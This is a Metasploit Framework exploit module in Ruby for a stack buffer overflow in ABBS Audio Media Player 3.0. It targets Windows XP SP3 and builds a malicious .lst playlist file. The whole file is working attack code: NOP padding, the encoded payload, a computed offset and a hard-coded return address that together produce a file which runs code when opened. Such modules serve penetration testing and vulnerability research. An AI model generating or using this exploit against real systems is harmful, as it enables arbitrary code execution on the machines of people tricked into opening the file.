##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow vulnerability
     found in ABBS Audio Media Player 3.0.
     The overflow occurs when an overly long string is passed
     in the lst file.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
           'h1ch4m',  # Initial Discovery
           'James Fitts' # Metasploit Module
         ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/16976' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 EN',
      {
       'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe
       'Offset' => 4108
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 14 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.lst']),
    ], self.class)
 end

 def exploit
  
  lst = make_nops(50)
  lst << payload.encoded
  lst << make_nops(target['Offset'] - (50 + payload.encoded.length))
  lst << [target.ret].pack('V')
  lst << rand_text_alpha_upper(4)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(lst)

 end

end